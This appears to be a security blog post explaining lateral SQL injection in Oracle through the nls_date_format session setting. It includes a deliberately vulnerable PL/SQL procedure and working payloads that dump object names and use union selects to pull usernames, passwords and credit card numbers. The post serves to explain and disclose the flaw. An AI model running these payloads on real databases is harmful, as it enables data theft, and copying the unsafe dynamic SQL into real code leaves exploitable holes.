Lateral SQL Injection in Oracle Database

Lateral SQL Injection in Oracle Database

 

Overview
=======

 

In order to get the system date in Oracle, you able to query for sysdate field in table dual.
SQL> select sysdate from dual;
SYSDATE
————–
15-SEP-11

 

SYSDATE format is set in: nls_date_format.

 

Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf) published by David Litchfield, FEB/2008.

 

This post provides an overview and a demonstration on how this issue is still easily exploitable in Oracle Database.

 

 

Vulnerability
=========

 

Nls_date_format allows input of any string without filtering.
Example:  alter session set nls_date_format = ‘”the time is:”… hh24:mi’

 

After running that command, the SYSDATE will return the constant sentence “the time is…” and the [hours]:[minutes] (note that the hours are in 24 hours format).

SQL> select sysdate from dual;

 

SYSDATE
————–
the time is:… 14:27

 

By manipulating this “feature”, the user can manipulate PL/SQL procedures which base on SYSDATE.
In example, take a look on the following PL/SQL procedure:

create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:=‘select object_name from all_objects where created = ”’ || v_date ||””;
dbms_output.enable;
dbms_output.put_line(stmt);
execute immediate stmt;
end;

 

The procedure set the variable v_date and set it as SYSDATE.

 

After setting v_date, the procedure sets stmt as “select object_name from all_objedcts where created = ‘[v_date]’;, which returns the names of all objects that created at the date specified in v_date.

 

Note that to run and get dbms_output, you need to set serveroutput on before executing the procedure.

 

Example: select object_name from all_objects where created = ’15-SEP-11′;

 

Exploitation
==========
An attacker can manipulate that procedure by setting nls_date_format to ‘ or 1=1–.

alter session set nls_date_format = ‘”” or 1=1–“‘;

In this case, stmt will be:

select
object_name from all_objects where created = ‘’ or 1=1–‘;

 

Which will return all object_name in all_objects.

 

In addition, it is able to execute any SQL command, in example:
alter session set nls_date_format = ‘”” union select username from users–“‘;
alter session set nls_date_format = ‘”” union select password from users–“‘;
alter session set nls_date_format = ‘”” union select credit_card_number from clients–“‘;
etc..